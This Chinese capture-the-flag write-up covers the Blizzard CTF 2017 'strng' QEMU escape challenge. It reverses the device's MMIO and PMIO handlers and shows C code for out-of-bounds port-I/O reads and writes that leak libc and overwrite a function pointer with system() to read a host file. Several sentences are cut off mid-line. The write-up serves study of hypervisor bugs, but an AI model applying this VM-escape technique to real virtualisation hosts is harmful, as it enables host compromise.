

通过这题巩固了之前看的qemu的基础知识部分，包括MMIO、PMIO以及QOM编程模型等，这题的特色在于它的漏洞不是存在于MMIO中，而是PMIO中。

## 描述

题目源码的链接为[Blizzard CTF 2017](#)，是qemu逃逸题，flag文件在宿主机中的路径为/root/flag。

题目的下载路径为[release](#)，启动的命令如下，可以把它保存到launsh.sh中，用sudo ./launsh.sh启动。

```
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22
```

该虚拟机是一个Ubuntu Server 14.04 LTS，用户名是ubuntu，密码是passwd。因为它把22端口重定向到了宿主机的5555端口，所以可以使用ssh ubuntu@127.0.0.1 -p 5555登进去。

## 分析

sudo ./launsh.sh启动虚拟机，使用用户名是ubuntu，密码是passwd进去虚拟机。


同时将qemu-system-x86\_64拖到IDA里面，程序较大，IDA需要个小一会才会分析完成。后续整个分析过程是通过IDA与源码对比查看完成，需要指出的是分析过程将IDA


在IDA分析完成之前，首先看下虚拟机中的设备等信息。


```
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)
```


通过启动命令中的-device strng，我们在IDA中搜索strng相关函数，可以看到相应的函数。


## Function name


 **do\_qemu\_init\_pci\_strng\_register\_types**


 **pci\_strng\_register\_types**


 **strng\_class\_init**


 **pci\_strng\_realize**

 **strng\_instance\_init**

 **strng\_mmio\_read**

 **strng\_mmio\_write**

 **strng\_pmio\_read**

 **strng\_pmio\_write**



首先是设备的结构体STRNGState的定义：

```
00000000 STRNGState      struct ; (sizeof=0xC10, align=0x10, mappedto_3815)
00000000 pdev            PCIDevice_0 ?
000008F0 mmio           MemoryRegion_0 ?
000009F0 pmio           MemoryRegion_0 ?
00000AF0 addr           dd ?
00000AF4 regs           dd 64 dup(?)
00000BF4                db ? ; undefined
00000BF5                db ? ; undefined
00000BF6                db ? ; undefined
00000BF7                db ? ; undefined
00000BF8 srand          dq ? ; offset
00000C00 rand           dq ? ; offset
00000C08 rand_r         dq ? ; offset
00000C10 STRNGState     ends
```

可以看到它里面存在一个regs数组，大小为256（64\*4），后面跟三个函数指针。

由上篇文章我们知道了pci\_strng\_register\_types会注册由用户提供的TypeInfo，查看该函数并找到了它的TypeInfo，跟进去看到了strng\_class\_init以及strng\_realize。

然后先看strng\_class\_init函数，代码如下（将变量k的类型设置为PCIDeviceClass\*）：

```
void __fastcall strng_class_init(ObjectClass *a1, void *data)
{
    PCIDeviceClass *k; // rax

    k = (PCIDeviceClass *)object_class_dynamic_cast_assert(
        a1,
        "pci-device",
        "/home/rcvalle/qemu/hw/misc/strng.c",
        154,
        "strng_class_init");
}
```

```

k->device_id = 0x11E9;
k->revision = 0x10;
k->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_strng_realize;
k->class_id = 0xFF;
k->vendor_id = 0x1234;
}

```

可以看到class\_init中设置其device\_id为0x11e9, vendor\_id为0x1234。对应到上面lspci得到的信息, 可以知道设备为00:03.0, 查看其详细信息:

```

ubuntu@ubuntu:~$ lspci -v -s 00:03.0
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
    Subsystem: Red Hat, Inc Device 1100
    Physical Slot: 3
    Flags: fast devsel
    Memory at febf1000 (32-bit, non-prefetchable) [size=256]
    I/O ports at c050 [size=8]

```

可以看到有MMIO地址为0xfebf1000, 大小为256; PMIO地址为0xc050, 总共有8个端口。

然后查看resource文件:

```

root@ubuntu:~# cat /sys/devices/pci0000\00000000\00000000\00000000\00000000\00000000\00000000\00000000/resource
0x000000000febf1000 0x000000000febf10ff 0x00000000000040200
0x000000000000c050 0x000000000000c057 0x00000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000

```

resource0对应的是MMIO, 而resource1对应的是PMIO。resource中数据格式是start-address end-address flags。

也可以查看/proc/ioports来查看各个设备对应的I/O端口, /proc/iomem查看其对应的I/O memory地址(需要用root帐号查看, 否则看不到端口或地址):

```

ubuntu@ubuntu:~$ sudo cat /proc/iomem
...
 febf1000-febf10ff : 0000:00:03.0
...
ubuntu@ubuntu:~$ sudo cat /proc/ioports
...
 c050-c057 : 0000:00:03.0

```

/sys/devices其对应的设备下也有相应的信息, 如deviceid和vendorid等:

```

ubuntu@ubuntu:~$ ls /sys/devices/pci0000\00000000\00000000\00000000\00000000\00000000\00000000\00000000
broken_parity_status      enable          power          subsystem_device
class                     firmware_node  remove         subsystem_vendor
config                    irq            rescan         uevent
consistent_dma_mask_bits  local_cpulist  resource       vendor
d3cold_allowed           local_cpus     resource0
device                    modalias       resource1
dma_mask_bits             msi_bus       subsystem
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\00000000\00000000\00000000\00000000\00000000\00000000\00000000/class
0x00ff00
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\00000000\00000000\00000000\00000000\00000000\00000000\00000000/vendor
0x1234
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\00000000\00000000\00000000\00000000\00000000\00000000\00000000/device
0x11e9

```

看完strng\_class\_init后, 看strng\_instance\_init函数, 该函数则是为strng Object赋值了相应的函数指针值srand、rand以及rand\_r。

然后去看pci\_strng\_realize, 该函数注册了MMIO和PMIO空间, 包括mmio的操作结构strng\_mmio\_ops及其大小256; pmio的操作结构体strng\_pmio\_ops及其大小8。

```

void __fastcall pci_strng_realize(STRNGState *pdev, Error_0 **errp)
{
    unsigned __int64 v2; // ST08_8

    v2 = __readfsqword(0x28u);
    memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &strng_mmio_ops, pdev, "strng-mmio", 0x100uLL);
    pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
    memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &strng_pmio_ops, pdev, "strng-pmio", 8uLL);
    if ( __readfsqword(0x28u) == v2 )
        pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);
}

```

strng\_mmio\_ops中有访问mmio对应的strng\_mmio\_read以及strng\_mmio\_write；strng\_pmio\_ops中有访问pmio对应的strng\_pmio\_read以及strng\_pmio\_write。

## MMIO

### strng\_mmio\_read

```
uint64_t __fastcall strng_mmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
    uint64_t result; // rax

    result = -1LL;
    if ( size == 4 && !(addr & 3) )
        result = opaque->regs[addr >> 2];
    return result;
}
```

读入addr将其右移两位，作为regs的索引返回该寄存器的值。

### strng\_mmio\_write

```
void __fastcall strng_mmio_write(STRNGState *opaque, hwaddr addr, uint32_t val, unsigned int size)
{
    hwaddr i; // rsi
    uint32_t v5; // ST08_4
    uint32_t v6; // eax
    unsigned __int64 v7; // [rsp+18h] [rbp-20h]

    v7 = __readfsqword(0x28u);
    if ( size == 4 && !(addr & 3) )
    {
        i = addr >> 2;
        if ( (_DWORD)i == 1 )
        {
            opaque->regs[1] = opaque->rand(opaque, i, val);
        }
        else if ( (unsigned int)i < 1 )
        {
            if ( __readfsqword(0x28u) == v7 )
                opaque->srnd(val);
        }
        else
        {
            if ( (_DWORD)i == 3 )
            {
                v5 = val;
                v6 = ((__int64 (__fastcall *) (uint32_t *))opaque->rand_r)(&opaque->regs[2]);
                val = v5;
                opaque->regs[3] = v6;
            }
            opaque->regs[(unsigned int)i] = val;
        }
    }
}
```

当size等于4时，将addr右移两位得到寄存器的索引i，并提供4个功能：

- 当i为0时，调用srnd函数但并不给赋值给内存。
- 当i为1时，调用rand得到随机数并赋值给regs[1]。
- 当i为3时，调用rand\_r函数，并使用regs[2]的地址作为参数，并将最后返回值赋值给regs[3]，但后续仍然会将val值覆盖到regs[3]中。
- 其余则直接将传入的val值赋值给regs[i]。

看起来似乎是addr可以由我们控制，可以使用addr来越界读写regs数组。即如果传入的addr大于regs的边界，那么我们就可以读写到后面的函数指针了。但是事实上是不行的。

### 编程访问MMIO

实现对MMIO空间的访问，比较便捷的方式就是使用mmap函数将设备的resource0文件映射到内存中，再进行相应的读写即可实现MMIO的读写，典型代码如下：

```
unsigned char* mmio_mem;

void mmio_write(uint32_t addr, uint32_t value)
```

```

{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

int main(int argc, char *argv[])
{
    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
}

```

## PMIO

通过前面的分析我们知道strng有八个端口，端口起始地址为0xc050，相应的通过strng\_pmio\_read和strng\_pmio\_write去读写。

### strng\_pmio\_read

```

uint64_t __fastcall strng_pmio_read(STRNGState *opaque, hwaddr addr, unsigned int size)
{
    uint64_t result; // rax
    uint32_t reg_addr; // edx

    result = -1LL;
    if ( size == 4 )
    {
        if ( addr )
        {
            if ( addr == 4 )
            {
                reg_addr = opaque->addr;
                if ( !(reg_addr & 3) )
                    result = opaque->regs[reg_addr >> 2];
            }
        }
        else
        {
            result = opaque->addr;
        }
    }
    return result;
}

```

当端口地址为0时直接返回opaque->addr，否则将opaque->addr右移两位作为索引i，返回regs[i]的值，比较关注的是这个opaque->addr在哪里赋值，它在下面的s

### strng\_pmio\_write

```

void __fastcall strng_pmio_write(STRNGState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
    uint32_t reg_addr; // eax
    __int64 idx; // rax
    unsigned __int64 v6; // [rsp+8h] [rbp-10h]

    v6 = __readfsqword(0x28u);
    if ( size == 4 )
    {
        if ( addr )
        {
            if ( addr == 4 )
            {

```

```

reg_addr = opaque->addr;
if ( !(reg_addr & 3) )
{
    idx = reg_addr >> 2;
    if ( (_DWORD)idx == 1 )
    {
        opaque->regs[1] = opaque->rand(opaque, 4LL, val);
    }
    else if ( (unsigned int)idx < 1 )
    {
        if ( __readfsqword(0x28u) == v6 )
            opaque->srnd((unsigned int)val);
    }
    else if ( (_DWORD)idx == 3 )
    {
        opaque->regs[3] = opaque->rand_r(&opaque->regs[2], 4LL, val);
    }
    else
    {
        opaque->regs[idx] = val;
    }
}
}
}
else
{
    opaque->addr = val;
}
}
}

```

当size等于4时，以传入的端口地址为判断提供4个功能：

当端口地址为0时，直接将传入的val赋值给opaque->addr。

当端口地址不为0时，将opaque->addr右移两位得到索引i，分为三个功能：

i为0时，执行srnd，返回值不存储。

i为1时，执行rand并将返回结果存储到regs[1]中。

- i为3时，调用rand\_r并将regs[2]作为第一个参数，返回值存储到regs[3]中。
- 否则直接将val存储到regs[idx]中。

可以看到PMIO与MMIO的区别在于索引regs数组时，PMIO并不是由直接传入的端口地址addr去索引的；而是由opaque->addr去索引，而opaque->addr的赋值是我们

越界读则是首先通过strng\_pmio\_write去设置opaque->addr，然后再调用pmio\_read去越界读。

越界写则是首先通过strng\_pmio\_write去设置opaque->addr，然后仍然通过pmio\_write去越界写。

## 编程访问PMIO

[UAFIO](#)描述说有三种方式访问PMIO，这里仍给出一个比较便捷的方法去访问，即通过IN以及OUT指令去访问。可以使用IN和OUT去读写相应字节的1、2、4字节数据（outb/inb, outw/inw, outl/inl），函数的头文件为<sys/io.h>，函数的具体用法可以使用man手册查看。

还需要注意的是要访问相应的端口需要一定的权限，程序应使用root权限运行。对于0x000-0x3ff之间的端口，使用ioperm(from, num, turn\_on)即可；对于0x3ff以上的端口，则该调用执行iop1(3)函数去允许访问所有的端口（可使用man ioperm和man iopl去查看函数）。

典型代码如下：

```

uint32_t pmio_base=0xc050;

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
    outl(value,addr);
}

uint32_t pmio_read(uint32_t addr)
{
    return (uint32_t)inl(addr);
}

```

```

}

int main(int argc, char *argv[])
{

    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
    pmio_write(pmio_base+0,0);
    pmio_write(pmio_base+4,1);

}

```

## 利用

首先是利用pmio来进行任意读写。

越界读：首先使用strng\_pmio\_write设置opaque->addr，即当addr为0时，传入的val会直接赋值给opaque->addr；然后再调用strng\_pmio\_read，就会去读

```

uint32_t pmio_arbread(uint32_t offset)
{
    pmio_write(pmio_base+0,offset);
    return pmio_read(pmio_base+4);
}

```

越界写：仍然是首先使用strng\_pmio\_write设置opaque->addr，即当addr为0时，传入的val会直接赋值给opaque->addr；然后调用strng\_pmio\_write，并设

```

void pmio_abwrite(uint32_t offset, uint32_t value)
{
    pmio_write(pmio_base+0,offset);
    pmio_write(pmio_base+4,value);
}

```

完整的利用过程为：

1. 使用strng\_mmio\_write将cat /root/flag写入到regs[2]开始的内存处，用于后续作为参数。
2. 使用越界读漏洞，读取regs数组后面的srand地址，根据偏移计算出system地址。
3. 使用越界写漏洞，覆盖regs数组后面的rand\_r地址，将其覆盖为system地址。
4. 最后使用strng\_mmio\_write触发执行opaque->rand\_r(&opaque->regs[2])函数，从而实现system("cat /root/flag")的调用，拿到flag。

## 调试

将完整流程描述了一遍以后，再说下怎么调试。

sudo ./launsh.sh将虚拟机跑起来以后，在本地将exp用命令make编译通过，makefile内容比较简单：

```

ALL:
    cc -m32 -O0 -static -o exp exp.c

```

然后使用命令scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu将exp拷贝到虚拟机中。

若要调试qemu以查看相应的流程，可以使用ps -ax|grep qemu找到相应的进程；再sudo gdb -attach [pid]上去，然后在里面下断点查看想观察的数据，示例如下：

```

b *strng_pmio_write
b *strng_pmio_read
b *strng_mmio_write
b *strng_pmio_read

```

然后再sudo ./exp执行exp，就可以愉快的调试了。

一个小trick，可以使用print加上结构体可以很方便的查看数据（如果有符号的话）：

```

pwndbg> print *((STRNGState*)$rdi
$1 = {
  pdev = {
    qdev = {
      parent_obj = {
        class = 0x55de43a3f2e0,
        free = 0x7fc137fedba0 <g_free>,

```

```
properties = 0x55de45283c00,  
ref = 0x13,  
...  
pwndbg> print ((STRNGState*)$rdi).regs  
$3 = {0x0, 0x0, 0x1e28b6de, 0x6f6f722f, 0x6c662f74, 0x6761, 0x0 <repeats 58 times>}
```

最后可以看到成功的拿到了宿主机下面的flag：

```
leaking srand addr: 0x7fc137211bb0  
libc base: 0x7fc1371ce000  
system addr: 0x7fc13721d440  
leaking heap addr: 0x55de43b35ef0  
parameter addr: 0x55de43b6fb6c  
flag{welcome_to_the_geme_world}
```

## 小结

学到了很多的东西，也看到了很多的东西要学。

相关文件和脚本[链接](#)

## 参考链接

1. [Blizzard CTF 2017: Sombra True Random Number Generator \(STRNG\)](#)
2. [BlizzardCTF 2017 - Strng](#)
3. [Blizzard CTF 2017 Strng](#)

点击收藏 | 0 关注 | 1

[上一篇：CVE-2019-11932 Wh...](#) [下一篇：深入了解子域名挖掘tricks](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)